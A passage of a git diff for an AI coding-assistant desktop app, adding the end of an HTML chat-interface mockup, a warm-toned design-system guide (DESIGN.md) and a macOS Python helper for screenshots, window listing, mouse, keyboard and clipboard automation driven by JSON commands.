+<span class="text-xs font-semibold font-label text-outline group-hover:text-on-surface">Tester</span>
+<span class="material-symbols-outlined text-[14px] text-outline" data-icon="schedule">schedule</span>
+</div>
+</div>
+<button class="ml-auto p-2 hover:bg-surface-container-high rounded-full transition-colors text-outline">
+<span class="material-symbols-outlined text-sm" data-icon="expand_more">expand_more</span>
+</button>
+</div>
+</div>
+<!-- Chat Composer -->
+<div class="max-w-3xl mx-auto w-full mt-auto">
+<div class="relative bg-surface-container-lowest rounded-xl border border-outline-variant/15 p-1.5 shadow-md flex items-center gap-2 focus-within:border-outline-variant/40 transition-all">
+<div class="p-2 text-outline">
+<span class="material-symbols-outlined" data-icon="attach_file">attach_file</span>
+</div>
+<input class="flex-1 bg-transparent border-none focus:ring-0 text-sm font-body text-on-surface py-2" placeholder="Type a command or ask Claude..." type="text"/>
+<button class="bg-primary text-on-primary w-9 h-9 rounded-lg flex items-center justify-center hover:bg-primary-container transition-all active:scale-95">
+<span class="material-symbols-outlined text-lg" data-icon="send" style="font-variation-settings: 'FILL' 1;">send</span>
+</button>
+</div>
+<div class="mt-3 flex justify-center gap-4">
+<div class="flex items-center gap-1.5 text-[10px] text-outline font-semibold uppercase tracking-widest">
+<span class="w-1.5 h-1.5 rounded-full bg-tertiary"></span>
+                            Auto-run enabled
+                        </div>
+<div class="flex items-center gap-1.5 text-[10px] text-outline font-semibold uppercase tracking-widest">
+<span class="w-1.5 h-1.5 rounded-full bg-secondary"></span>
+                            Local LLM
+                        </div>
+</div>
+</div>
+</div>
+</div>
+</main>
+<!-- Footer Shell -->
+<footer class="fixed bottom-0 left-0 w-full h-8 bg-[#FAF9F5] dark:bg-[#141413] border-t border-[#87736D]/20 flex items-center justify-between px-4 z-50">
+<div class="flex items-center gap-4">
+<span class="font-inter text-xs tracking-tight text-[#87736D]">User Avatar • username • Pro Plan</span>
+<div class="flex gap-3">
+<span class="font-inter text-xs tracking-tight text-[#87736D] hover:bg-[#F4F4F0] dark:hover:bg-[#1B1C1A] px-1 cursor-pointer transition-colors">main-branch</span>
+<span class="font-inter text-xs tracking-tight text-[#87736D] hover:bg-[#F4F4F0] dark:hover:bg-[#1B1C1A] px-1 cursor-pointer transition-colors">worktree-toggle</span>
+<span class="font-inter text-xs tracking-tight text-[#8F482F] font-bold px-1 cursor-pointer transition-colors">local-switch</span>
+</div>
+</div>
+<div class="flex items-center gap-2">
+<span class="text-[10px] font-mono text-outline uppercase tracking-wider">v2.4.0-stable</span>
+<span class="material-symbols-outlined text-xs text-tertiary" data-icon="check_circle" style="font-variation-settings: 'FILL' 1;">check_circle</span>
+</div>
+</footer>
+<!-- Floating UI elements -->
+<div class="fixed right-6 bottom-14 md:hidden">
+<div class="w-12 h-12 bg-primary rounded-full shadow-lg flex items-center justify-center text-on-primary">
+<span class="material-symbols-outlined" data-icon="add">add</span>
+</div>
+</div>
+<style>
+        @keyframes pulse-subtle {
+            0%, 100% { opacity: 1; }
+            50% { opacity: 0.7; transform: scale(0.98); }
+        }
+        .animate-pulse-subtle {
+            animation: pulse-subtle 2s ease-in-out infinite;
+        }
+    </style>
+</body></html>
\ No newline at end of file
diff --git a/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/antique_codex/DESIGN.md b/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/antique_codex/DESIGN.md
new file mode 100644
index 0000000..bff85eb
--- /dev/null
+++ b/cc-haha/docs/ui-clone/stitch_claudecode_haha_frontend_design/antique_codex/DESIGN.md
@@ -0,0 +1,90 @@
+# Design System Specification: The Technical Atelier
+
+## 1. Overview & Creative North Star
+### The Creative North Star: "The Digital Archivist"
+This design system moves away from the sterile, cold "high-tech" aesthetics typical of developer tools. Instead, it draws inspiration from high-end editorial design and architectural drafting—spaces designed for focus, tactile quality, and longevity. We are building a "Digital Archivist" experience: a workspace that feels like an expensive linen-bound notebook or a well-lit studio.
+
+By utilizing intentional asymmetry, generous white space, and a rejection of traditional "boxed" layouts, we create an environment for deep work. The interface doesn't scream for attention; it recedes, providing a calm, authoritative stage for the developer’s code.
+
+---
+
+## 2. Colors & Surface Philosophy
+The palette is rooted in "Warm Paper" (`#FAF9F5`) and "Dark Graphite" (`#141413`). This high-contrast but warm-toned foundation reduces eye strain during long coding sessions.
+
+### The "No-Line" Rule
+Traditional 1px borders are prohibited for structural sectioning. To define separate functional areas (e.g., a sidebar from a code editor), use background color shifts. 
+- **Application:** Place a `surface_container_low` sidebar directly against a `surface` main content area. The 4% tonal shift is sufficient for the human eye to perceive a boundary without creating visual "noise."
+
+### Surface Hierarchy & Nesting
+Treat the UI as a physical stack of paper and glass.
+- **Base Layer:** `surface` (#FAF9F5) - The desk.
+- **Secondary Panels:** `surface_container_low` (#F4F4F0) - Inset utility areas.
+- **Floating Elements:** `surface_container_lowest` (#FFFFFF) - Active cards or modals.
+- **Nesting:** Always move one tier up or down when nesting. A card (`surface_container_lowest`) should never sit on a background of the same color; it should sit on `surface_container_low` to create a natural, "lifted" appearance.
+
+### Glassmorphism & Tonal Depth
+For floating utilities (like a command palette or hover-state popover), use `surface_container_lowest` at 85% opacity with a `20px` backdrop blur. This allows the underlying code and "warm paper" texture to bleed through, maintaining a sense of place.
+
+---
+
+## 3. Typography: Editorial Authority
+The typography system pairs the modernist clarity of **Manrope** for high-level structure with the functional precision of **Inter** for data-heavy tasks.
+
+*   **Display & Headlines (Manrope):** These are the "Wayfinders." Use `display-md` for empty states and `headline-sm` for major module titles. The slightly wider tracking of Manrope provides an expensive, editorial feel.
+*   **Body & Labels (Inter):** Inter is our workhorse. Use `body-md` for standard UI text. It is optimized for screen readability and feels native to high-end macOS applications.
+*   **Code (Monospace):** For terminal output and code blocks, use a high-quality monospace font (SF Mono or JetBrains Mono) at `0.875rem` to match `body-md` visual weight.
+
+---
+
+## 4. Elevation & Depth
+We reject the "drop shadow" defaults of the web. Depth is an atmospheric quality, not a structural crutch.
+
+*   **The Layering Principle:** Avoid shadows for static components. Use the `surface-container` tiers to create hierarchy.
+*   **Ambient Shadows:** For active floating states (Modals), use a multi-layered shadow:
+    *   `box-shadow: 0 4px 20px rgba(27, 28, 26, 0.04), 0 12px 40px rgba(27, 28, 26, 0.08);`
+    *   The color is derived from `on_surface`, ensuring the shadow feels like a natural obstruction of light on warm paper.
+*   **The Ghost Border:** When accessibility requires a container boundary, use `outline_variant` at 20% opacity. It should be felt, not seen.
+
+---
+
+## 5. Components
+
+### Buttons
+- **Primary:** `primary` (#8F482F) background with `on_primary` (#FFFFFF) text. 
+- **Secondary:** `surface_container_high` background. No border.
+- **Signature Styling:** Use `radius-DEFAULT` (8px). For Primary buttons, apply a subtle linear gradient from `primary` to `primary_container` (top to bottom) to give the button a "pressed ink" physical quality.
+
+### The Chat Composer (Input)
+- **Styling:** Large `radius-xl` (16px) corners. 
+- **Background:** `surface_container_lowest` (#FFFFFF).
+- **Definition:** Instead of a heavy border, use a `1px` "Ghost Border" of `outline_variant` at 15% opacity. When focused, increase the opacity of the ghost border to 40%—do not use a glow.
+
+### Chips & Status
+- **Success:** `tertiary_container` (#677B4E) with `on_tertiary_container` text.
+- **Running/Warning:** `primary_fixed` (#FFDBD0) with `on_primary_fixed` text.
+- **Shape:** Use `radius-full` for a soft, pill-shaped aesthetic that contrasts against the structured grid of code.
+
+### Cards & Lists
+- **The No-Divider Rule:** Explicitly forbid horizontal lines between list items. Separate items using `8px` of vertical white space or a hover state that shifts the background to `surface_container_highest`.
+- **Nesting:** Cards must use `radius-lg` (12px) and be placed on `surface_container_low` for maximum legibility.
+
+### Terminal & Code Blocks
+- **Container:** `surface_dim` (#DBDAD6) to provide a "recessed" look. 
+- **Text:** `on_surface` for standard output, `secondary` (#2D628F) for links/permissions.
+
+---
+
+## 6. Do's and Don'ts
+
+### Do
+- **Embrace Asymmetry:** Align primary actions to the right, but keep "Brand Moments" (like a logo or status indicator) intentionally offset to break the "Bootstrap" feel.
+- **Use "Warmth" as a Tool:** Use the `primary` (Antique Brass) color sparingly. It should highlight intent, not decorate.
+- **Prioritize Breathing Room:** If a layout feels "busy," increase the spacing scale rather than adding borders.
+
+### Don't
+- **No 100% Black:** Never use `#000000`. Use `on_background` (#1B1C1A) to maintain the "ink on paper" softness.
+- **No Sharp Corners:** Avoid `0px` or `2px` radii. They feel clinical and "un-designed" in this context.
+- **No "Gaming" Effects:** Avoid neon glows, heavy blurs, or high-saturation blues. If it looks like a dashboard for a spaceship, it's wrong. It should look like a dashboard for a master craftsman.
+
+### Accessibility Note
+While we use subtle tonal shifts, always ensure the `on_surface` text vs `surface_container` maintains a minimum 4.5:1 contrast ratio for body text. Use `outline` (#87736D) for iconography to ensure clarity against the warm background.
\ No newline at end of file
diff --git a/cc-haha/runtime/mac_helper.py b/cc-haha/runtime/mac_helper.py
new file mode 100644
index 0000000..1bfae38
--- /dev/null
+++ b/cc-haha/runtime/mac_helper.py
@@ -0,0 +1,775 @@
+#!/usr/bin/env python3
+from __future__ import annotations
+
+import argparse
+import base64
+import ctypes
+import json
+import os
+import subprocess
+import sys
+import time
+from io import BytesIO
+from pathlib import Path
+from typing import Any
+
+import mss
+from AppKit import NSWorkspace, NSPasteboard, NSPasteboardTypeString, NSURL
+from PIL import Image
+from Quartz import (
+    CGDisplayBounds,
+    CGDisplayIsMain,
+    CGDisplayModeGetPixelHeight,
+    CGDisplayModeGetPixelWidth,
+    CGDisplayPixelsHigh,
+    CGDisplayPixelsWide,
+    CGGetActiveDisplayList,
+    CGMainDisplayID,
+    CGWindowListCopyWindowInfo,
+    CGRectContainsPoint,
+    CGRectIntersection,
+    CGPointMake,
+    CGPreflightScreenCaptureAccess,
+    kCGNullWindowID,
+    kCGWindowBounds,
+    kCGWindowIsOnscreen,
+    kCGWindowLayer,
+    kCGWindowListExcludeDesktopElements,
+    kCGWindowListOptionOnScreenOnly,
+    kCGWindowName,
+    kCGWindowOwnerName,
+)
+
+os.environ.setdefault("PYTHONDONTWRITEBYTECODE", "1")
+os.environ.setdefault("PYAUTOGUI_HIDE_SUPPORT_PROMPT", "1")
+
+import pyautogui  # noqa: E402
+
+pyautogui.FAILSAFE = False
+pyautogui.PAUSE = 0
+
+KEY_MAP = {
+    "a": "a",
+    "b": "b",
+    "c": "c",
+    "d": "d",
+    "e": "e",
+    "f": "f",
+    "g": "g",
+    "h": "h",
+    "i": "i",
+    "j": "j",
+    "k": "k",
+    "l": "l",
+    "m": "m",
+    "n": "n",
+    "o": "o",
+    "p": "p",
+    "q": "q",
+    "r": "r",
+    "s": "s",
+    "t": "t",
+    "u": "u",
+    "v": "v",
+    "w": "w",
+    "x": "x",
+    "y": "y",
+    "z": "z",
+    "0": "0",
+    "1": "1",
+    "2": "2",
+    "3": "3",
+    "4": "4",
+    "5": "5",
+    "6": "6",
+    "7": "7",
+    "8": "8",
+    "9": "9",
+    "cmd": "command",
+    "command": "command",
+    "meta": "command",
+    "super": "command",
+    "ctrl": "ctrl",
+    "control": "ctrl",
+    "shift": "shift",
+    "alt": "option",
+    "option": "option",
+    "opt": "option",
+    "fn": "fn",
+    "escape": "esc",
+    "esc": "esc",
+    "enter": "enter",
+    "return": "enter",
+    "tab": "tab",
+    "space": "space",
+    "backspace": "backspace",
+    "delete": "delete",
+    "forwarddelete": "delete",
+    "up": "up",
+    "down": "down",
+    "left": "left",
+    "right": "right",
+    "home": "home",
+    "end": "end",
+    "pageup": "pageup",
+    "pagedown": "pagedown",
+    "capslock": "capslock",
+    "f1": "f1",
+    "f2": "f2",
+    "f3": "f3",
+    "f4": "f4",
+    "f5": "f5",
+    "f6": "f6",
+    "f7": "f7",
+    "f8": "f8",
+    "f9": "f9",
+    "f10": "f10",
+    "f11": "f11",
+    "f12": "f12",
+    "-": "minus",
+    "=": "equals",
+    "[": "[",
+    "]": "]",
+    "\\": "\\",
+    ";": ";",
+    "'": "'",
+    ",": ",",
+    ".": ".",
+    "/": "/",
+    "`": "`",
+}
+
+
+def normalize_key(name: str) -> str:
+    key = name.strip().lower()
+    if key not in KEY_MAP:
+        raise ValueError(f"Unsupported key: {name}")
+    return KEY_MAP[key]
+
+
+def json_output(payload: dict[str, Any]) -> None:
+    sys.stdout.write(json.dumps(payload, ensure_ascii=False))
+    sys.stdout.write("\n")
+    sys.stdout.flush()
+
+
+def error_output(message: str, code: str = "runtime_error") -> None:
+    json_output({"ok": False, "error": {"code": code, "message": message}})
+
+
+def bool_env(name: str, default: bool = False) -> bool:
+    value = os.environ.get(name)
+    if value is None:
+        return default
+    return value not in {"0", "false", "False", ""}
+
+
+def run_osascript(script: str) -> str:
+    result = subprocess.run(
+        ["osascript", "-e", script],
+        text=True,
+        capture_output=True,
+        check=False,
+    )
+    if result.returncode != 0:
+        raise RuntimeError(result.stderr.strip() or result.stdout.strip() or "osascript failed")
+    return result.stdout.strip()
+
+
+def applescript_modifier(name: str) -> str:
+    if name == "command":
+        return "command down"
+    if name == "option":
+        return "option down"
+    if name == "shift":
+        return "shift down"
+    if name == "ctrl":
+        return "control down"
+    if name == "fn":
+        return "fn down"
+    raise ValueError(f"Unsupported AppleScript modifier: {name}")
+
+
+def send_keystroke_via_osascript(character: str, modifiers: list[str] | None = None) -> None:
+    escaped = character.replace("\\", "\\\\").replace('"', '\\"')
+    if modifiers:
+        modifier_expr = ", ".join(applescript_modifier(m) for m in modifiers)
+        script = (
+            'tell application "System Events" to keystroke '
+            f'"{escaped}" using {{{modifier_expr}}}'
+        )
+    else:
+        script = f'tell application "System Events" to keystroke "{escaped}"'
+    run_osascript(script)
+
+
+def get_displays() -> list[dict[str, Any]]:
+    max_displays = 32
+    err, active, count = CGGetActiveDisplayList(max_displays, None, None)
+    if err != 0:
+        raise RuntimeError(f"CGGetActiveDisplayList failed: {err}")
+    displays: list[dict[str, Any]] = []
+    main_id = CGMainDisplayID()
+    for idx, display_id in enumerate(active[:count]):
+        bounds = CGDisplayBounds(display_id)
+        mode = None
+        try:
+            from Quartz import CGDisplayCopyDisplayMode
+            mode = CGDisplayCopyDisplayMode(display_id)
+        except Exception:
+            mode = None
+        physical_width = int(CGDisplayPixelsWide(display_id))
+        physical_height = int(CGDisplayPixelsHigh(display_id))
+        logical_width = int(bounds.size.width)
+        logical_height = int(bounds.size.height)
+        if mode is not None:
+            mode_w = int(CGDisplayModeGetPixelWidth(mode))
+            mode_h = int(CGDisplayModeGetPixelHeight(mode))
+            physical_width = mode_w or physical_width
+            physical_height = mode_h or physical_height
+        scale_factor = physical_width / logical_width if logical_width else 1
+        name = f"Display {idx + 1}"
+        displays.append(
+            {
+                "id": int(display_id),
+                "displayId": int(display_id),
+                "width": logical_width,
+                "height": logical_height,
+                "scaleFactor": scale_factor,
+                "originX": int(bounds.origin.x),
+                "originY": int(bounds.origin.y),
+                "isPrimary": bool(display_id == main_id or CGDisplayIsMain(display_id)),
+                "name": name,
+                "label": name,
+            }
+        )
+    return displays
+
+
+def choose_display(display_id: int | None) -> dict[str, Any]:
+    displays = get_displays()
+    if not displays:
+        raise RuntimeError("No active displays found")
+    if display_id is None:
+        for display in displays:
+            if display["isPrimary"]:
+                return display
+        return displays[0]
+    for display in displays:
+        if display["displayId"] == display_id or display["id"] == display_id:
+            return display
+    raise RuntimeError(f"Unknown display: {display_id}")
+
+
+def ensure_screen_recording_permission() -> None:
+    """No-op: CGPreflightScreenCaptureAccess is unreliable for child processes
+    (returns False even when the parent app has TCC permission), and any actual
+    capture attempt triggers a macOS popup on newer versions. Let the actual
+    capture call handle errors instead."""
+    pass
+
+
+def capture_display(display_id: int | None, resize: tuple[int, int] | None = None) -> dict[str, Any]:
+    ensure_screen_recording_permission()
+    display = choose_display(display_id)
+    monitor = {
+        "left": display["originX"],
+        "top": display["originY"],
+        "width": display["width"],
+        "height": display["height"],
+    }
+    with mss.mss() as sct:
+        raw = sct.grab(monitor)
+        image = Image.frombytes("RGB", raw.size, raw.rgb)
+    if resize:
+        image = image.resize(resize, Image.Resampling.LANCZOS)
+    buffer = BytesIO()
+    image.save(buffer, format="JPEG", quality=75, optimize=True)
+    base64_data = base64.b64encode(buffer.getvalue()).decode("ascii")
+    return {
+        "base64": base64_data,
+        "width": image.width,
+        "height": image.height,
+        "displayWidth": display["width"],
+        "displayHeight": display["height"],
+        "displayId": display["displayId"],
+        "originX": display["originX"],
+        "originY": display["originY"],
+        "display": display,
+    }
+
+
+def capture_region(region: dict[str, int], resize: tuple[int, int] | None = None) -> dict[str, Any]:
+    ensure_screen_recording_permission()
+    with mss.mss() as sct:
+        raw = sct.grab(region)
+        image = Image.frombytes("RGB", raw.size, raw.rgb)
+    if resize:
+        image = image.resize(resize, Image.Resampling.LANCZOS)
+    buffer = BytesIO()
+    image.save(buffer, format="JPEG", quality=75, optimize=True)
+    base64_data = base64.b64encode(buffer.getvalue()).decode("ascii")
+    return {"base64": base64_data, "width": image.width, "height": image.height}
+
+
+def list_windows() -> list[dict[str, Any]]:
+    windows = CGWindowListCopyWindowInfo(
+        kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
+        kCGNullWindowID,
+    )
+    out: list[dict[str, Any]] = []
+    for window in windows or []:
+        if int(window.get(kCGWindowLayer, 0)) != 0:
+            continue
+        if not bool(window.get(kCGWindowIsOnscreen, True)):
+            continue
+        bounds = window.get(kCGWindowBounds) or {}
+        width = int(bounds.get("Width", 0))
+        height = int(bounds.get("Height", 0))
+        if width <= 1 or height <= 1:
+            continue
+        out.append(
+            {
+                "ownerName": window.get(kCGWindowOwnerName, "") or "",
+                "title": window.get(kCGWindowName, "") or "",
+                "bounds": {
+                    "x": int(bounds.get("X", 0)),
+                    "y": int(bounds.get("Y", 0)),
+                    "width": width,
+                    "height": height,
+                },
+            }
+        )
+    return out
+
+
+def bundle_id_to_app(bundle_id: str):
+    return NSWorkspace.sharedWorkspace().URLForApplicationWithBundleIdentifier_(bundle_id)
+
+
+def installed_apps() -> list[dict[str, Any]]:
+    search_roots = [
+        Path("/Applications"),
+        Path.home() / "Applications",
+        Path("/System/Applications"),
+        Path("/System/Applications/Utilities"),
+    ]
+    results: dict[str, dict[str, Any]] = {}
+    workspace = NSWorkspace.sharedWorkspace()
+    for root in search_roots:
+        if not root.exists():
+            continue
+        for app in root.rglob("*.app"):
+            try:
+                bundle = workspace.bundleIdentifierForURL_(NSURL.fileURLWithPath_(str(app)))
+            except Exception:
+                bundle = None
+            if not bundle:
+                try:
+                    url = workspace.URLForApplicationWithBundleIdentifier_(str(app))
+                    bundle = workspace.bundleIdentifierForURL_(url) if url else None
+                except Exception:
+                    bundle = None
+            info_plist = app / "Contents/Info.plist"
+            display_name = app.stem
+            if info_plist.exists():
+                try:
+                    import plistlib
+                    with info_plist.open("rb") as f:
+                        plist = plistlib.load(f)
+                    bundle = bundle or plist.get("CFBundleIdentifier")
+                    display_name = plist.get("CFBundleDisplayName") or plist.get("CFBundleName") or display_name
+                except Exception:
+                    pass
+            if not bundle or bundle in results:
+                continue
+            results[bundle] = {
+                "bundleId": str(bundle),
+                "displayName": str(display_name),
+                "path": str(app),
+            }
+    return sorted(results.values(), key=lambda item: item["displayName"].lower())
+
+
+def running_apps() -> list[dict[str, Any]]:
+    apps = []
+    seen = set()
+    for app in NSWorkspace.sharedWorkspace().runningApplications() or []:
+        bundle_id = app.bundleIdentifier()
+        if not bundle_id or bundle_id in seen:
+            continue
+        seen.add(bundle_id)
+        name = app.localizedName() or bundle_id
+        apps.append({"bundleId": str(bundle_id), "displayName": str(name)})
+    return sorted(apps, key=lambda item: item["displayName"].lower())
+
+
+def app_display_name(bundle_id: str) -> str | None:
+    for app in NSWorkspace.sharedWorkspace().runningApplications() or []:
+        if app.bundleIdentifier() == bundle_id:
+            return str(app.localizedName() or bundle_id)
+    for app in installed_apps():
+        if app["bundleId"] == bundle_id:
+            return str(app["displayName"])
+    return None
+
+
+def frontmost_app() -> dict[str, str] | None:
+    app = NSWorkspace.sharedWorkspace().frontmostApplication()
+    if not app:
+        return None
+    bundle_id = app.bundleIdentifier()
+    if not bundle_id:
+        return None
+    return {
+        "bundleId": str(bundle_id),
+        "displayName": str(app.localizedName() or bundle_id),
+    }
+
+
+def app_under_point(x: int, y: int) -> dict[str, str] | None:
+    point = CGPointMake(x, y)
+    running_by_name = {
+        str(app.localizedName() or app.bundleIdentifier()): str(app.bundleIdentifier())
+        for app in NSWorkspace.sharedWorkspace().runningApplications() or []
+        if app.bundleIdentifier()
+    }
+    for window in list_windows():
+        bounds = window["bounds"]
+        rect = ((bounds["x"], bounds["y"]), (bounds["width"], bounds["height"]))
+        if CGRectContainsPoint(rect, point):
+            owner = window["ownerName"]
+            bundle = running_by_name.get(owner)
+            if bundle:
+                return {"bundleId": bundle, "displayName": str(owner)}
+    return frontmost_app()
+
+
+def find_window_displays(bundle_ids: list[str]) -> list[dict[str, Any]]:
+    if not bundle_ids:
+        return []
+    displays = get_displays()
+    names_by_bundle = {
+        bundle_id: app_display_name(bundle_id) or bundle_id for bundle_id in bundle_ids
+    }
+    windows = list_windows()
+    result = []
+    for bundle_id in bundle_ids:
+        target_name = names_by_bundle.get(bundle_id)
+        display_ids: set[int] = set()
+        for window in windows:
+            owner = window["ownerName"]
+            if not owner:
+                continue
+            if target_name and owner != target_name:
+                continue
+            if not target_name and owner != bundle_id:
+                continue
+            wx = window["bounds"]["x"]
+            wy = window["bounds"]["y"]
+            ww = window["bounds"]["width"]
+            wh = window["bounds"]["height"]
+            window_rect = ((wx, wy), (ww, wh))
+            for display in displays:
+                display_rect = ((display["originX"], display["originY"]), (display["width"], display["height"]))
+                intersection = CGRectIntersection(window_rect, display_rect)
+                if intersection.size.width > 0 and intersection.size.height > 0:
+                    display_ids.add(int(display["displayId"]))
+        result.append({"bundleId": bundle_id, "displayIds": sorted(display_ids)})
+    return result
+
+
+def open_app(bundle_id: str) -> None:
+    url = bundle_id_to_app(bundle_id)
+    if not url:
+        raise RuntimeError(f"App not found for bundle identifier: {bundle_id}")
+    ok, err = NSWorkspace.sharedWorkspace().launchApplicationAtURL_options_configuration_error_(url, 0, {}, None)
+    if not ok:
+        raise RuntimeError(str(err) if err else f"Failed to open app {bundle_id}")
+
+
+def read_clipboard() -> str:
+    pb = NSPasteboard.generalPasteboard()
+    value = pb.stringForType_(NSPasteboardTypeString)
+    return "" if value is None else str(value)
+
+
+def write_clipboard(text: str) -> None:
+    pb = NSPasteboard.generalPasteboard()
+    pb.clearContents()
+    pb.setString_forType_(text, NSPasteboardTypeString)
+
+
+def paste_clipboard() -> None:
+    send_keystroke_via_osascript("v", ["command"])
+
+
+def detect_screen_recording_permission() -> bool | None:
+    """Best-effort passive screen-recording probe with no system prompt.
+
+    `CGPreflightScreenCaptureAccess()` is fast and explicit when it returns
+    True, but on child processes launched by a TCC-authorized app bundle it can
+    still return False. As a fallback, inspect the visible window list: Apple
+    only exposes other apps' window titles when Screen Recording access is
+    granted. If we can see at least one title, treat the permission as granted.
+    If we can inspect visible windows but every title is blank, treat it as not
+    granted. If window enumeration itself is unavailable, return None.
+    """
+
+    try:
+        if CGPreflightScreenCaptureAccess():
+            return True
+    except Exception:
+        pass
+
+    try:
+        windows = CGWindowListCopyWindowInfo(
+            kCGWindowListOptionOnScreenOnly | kCGWindowListExcludeDesktopElements,
+            kCGNullWindowID,
+        )
+    except Exception:
+        return None
+
+    eligible_windows = 0
+    for window in windows or []:
+        if int(window.get(kCGWindowLayer, 0)) != 0:
+            continue
+        if not bool(window.get(kCGWindowIsOnscreen, True)):
+            continue
+
+        bounds = window.get(kCGWindowBounds) or {}
+        width = int(bounds.get("Width", 0))
+        height = int(bounds.get("Height", 0))
+        if width <= 1 or height <= 1:
+            continue
+
+        eligible_windows += 1
+        if (window.get(kCGWindowName, "") or "").strip():
+            return True
+
+    if eligible_windows > 0:
+        return False
+    return None
+
+
+def detect_accessibility_permission() -> bool:
+    """
+    Use the official macOS Accessibility trust API.
+
+    The previous System Events / AppleScript probe was too weak: it could
+    succeed even when the current helper process was not actually trusted for
+    input control, which led the desktop UI to report Accessibility as granted
+    while mouse/keyboard control still failed at runtime.
+    """
+    framework_path = "/System/Library/Frameworks/ApplicationServices.framework/ApplicationServices"
+    try:
+        application_services = ctypes.CDLL(framework_path)
+        application_services.AXIsProcessTrusted.restype = ctypes.c_bool
+        application_services.AXIsProcessTrusted.argtypes = []
+        return bool(application_services.AXIsProcessTrusted())
+    except Exception:
+        # Fail closed: if the trust API can't be queried, treat accessibility
+        # as unavailable instead of reporting a misleading success state.
+        return False
+
+
+def check_permissions() -> dict[str, bool | None]:
+    accessibility = detect_accessibility_permission()
+    screen_recording = detect_screen_recording_permission()
+    return {
+        "accessibility": accessibility,
+        "screenRecording": screen_recording,
+    }
+
+
+def click(x: int, y: int, button: str, count: int, modifiers: list[str] | None) -> None:
+    pyautogui.moveTo(x, y)
+    if modifiers:
+        normalized = [normalize_key(m) for m in modifiers]
+        for key in normalized:
+            pyautogui.keyDown(key)
+        try:
+            pyautogui.click(x=x, y=y, button=button, clicks=count, interval=0.08)
+        finally:
+            for key in reversed(normalized):
+                pyautogui.keyUp(key)
+    else:
+        pyautogui.click(x=x, y=y, button=button, clicks=count, interval=0.08)
+
+
+def scroll(x: int, y: int, delta_x: int, delta_y: int) -> None:
+    pyautogui.moveTo(x, y)
+    if delta_y:
+        pyautogui.scroll(int(delta_y), x=x, y=y)
+    if delta_x:
+        pyautogui.hscroll(int(delta_x), x=x, y=y)
+
+
+def key_action(sequence: str, repeat: int = 1) -> None:
+    parts = [normalize_key(part) for part in sequence.split("+") if part.strip()]
+    for _ in range(max(1, repeat)):
+        if parts == ["command", "v"]:
+            paste_clipboard()
+        elif parts == ["command", "a"]:
+            send_keystroke_via_osascript("a", ["command"])
+        elif parts == ["command", "c"]:
+            send_keystroke_via_osascript("c", ["command"])
+        elif parts == ["command", "x"]:
+            send_keystroke_via_osascript("x", ["command"])
+        elif len(parts) == 1:
+            pyautogui.press(parts[0])
+        else:
+            pyautogui.hotkey(*parts, interval=0.02)
+        time.sleep(0.01)
+
+
+def hold_keys(keys: list[str], duration_ms: int) -> None:
+    normalized = [normalize_key(k) for k in keys]
+    for key in normalized:
+        pyautogui.keyDown(key)
+    try:
+        time.sleep(max(duration_ms, 0) / 1000)
+    finally:
+        for key in reversed(normalized):
+            pyautogui.keyUp(key)
+
+
+def type_text(text: str) -> None:
+    pyautogui.write(text, interval=0.008)
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser()
+    parser.add_argument("command")
+    parser.add_argument("--payload", default="{}")
+    args = parser.parse_args()
+    payload = json.loads(args.payload)
+
+    try:
+        command = args.command
+        if command == "check_permissions":
+            perms = check_permissions()
+            json_output({"ok": True, "result": perms})
+            return 0
+        if command == "list_displays":
+            json_output({"ok": True, "result": get_displays()})
+            return 0
+        if command == "get_display_size":
+            json_output({"ok": True, "result": choose_display(payload.get("displayId"))})
+            return 0
+        if command == "screenshot":
+            resize = None
+            if payload.get("targetWidth") and payload.get("targetHeight"):
+                resize = (int(payload["targetWidth"]), int(payload["targetHeight"]))
+            result = capture_display(payload.get("displayId"), resize)
+            json_output({"ok": True, "result": result})
+            return 0
+        if command == "resolve_prepare_capture":
+            resize = None
+            if payload.get("targetWidth") and payload.get("targetHeight"):
+                resize = (int(payload["targetWidth"]), int(payload["targetHeight"]))
+            result = capture_display(payload.get("preferredDisplayId"), resize)
+            result["hidden"] = []
+            result["resolvedDisplayId"] = result["displayId"]
+            json_output({"ok": True, "result": result})
+            return 0
+        if command == "zoom":
+            resize = None
+            if payload.get("targetWidth") and payload.get("targetHeight"):
+                resize = (int(payload["targetWidth"]), int(payload["targetHeight"]))
+            region = {
+                "left": int(payload["x"]),
+                "top": int(payload["y"]),
+                "width": int(payload["width"]),
+                "height": int(payload["height"]),
+            }
+            json_output({"ok": True, "result": capture_region(region, resize)})
+            return 0
+        if command == "prepare_for_action":
+            json_output({"ok": True, "result": []})
+            return 0
+        if command == "preview_hide_set":
+            json_output({"ok": True, "result": []})
+            return 0
+        if command == "find_window_displays":
+            json_output({"ok": True, "result": find_window_displays(list(payload.get("bundleIds") or []))})
+            return 0
+        if command == "key":
+            key_action(str(payload["keySequence"]), int(payload.get("repeat") or 1))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "hold_key":
+            hold_keys(list(payload.get("keyNames") or []), int(payload.get("durationMs") or 0))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "type":
+            type_text(str(payload.get("text") or ""))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "click":
+            click(int(payload["x"]), int(payload["y"]), str(payload.get("button") or "left"), int(payload.get("count") or 1), payload.get("modifiers"))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "drag":
+            from_point = payload.get("from")
+            if from_point:
+                pyautogui.moveTo(int(from_point["x"]), int(from_point["y"]))
+            pyautogui.dragTo(int(payload["to"]["x"]), int(payload["to"]["y"]), duration=0.2, button="left")
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "move_mouse":
+            pyautogui.moveTo(int(payload["x"]), int(payload["y"]))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "scroll":
+            scroll(int(payload["x"]), int(payload["y"]), int(payload.get("deltaX") or 0), int(payload.get("deltaY") or 0))
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "mouse_down":
+            pyautogui.mouseDown(button="left")
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "mouse_up":
+            pyautogui.mouseUp(button="left")
+            json_output({"ok": True, "result": True})
+            return 0
+        if command == "cursor_position":
+            x, y = pyautogui.position()
+            json_output({"ok": True, "result": {"x": int(x), "y": int(y)}})
+            return 0
+        if command == "frontmost_app":
+            json_output({"ok": True, "result": frontmost_app()})
+            return 0
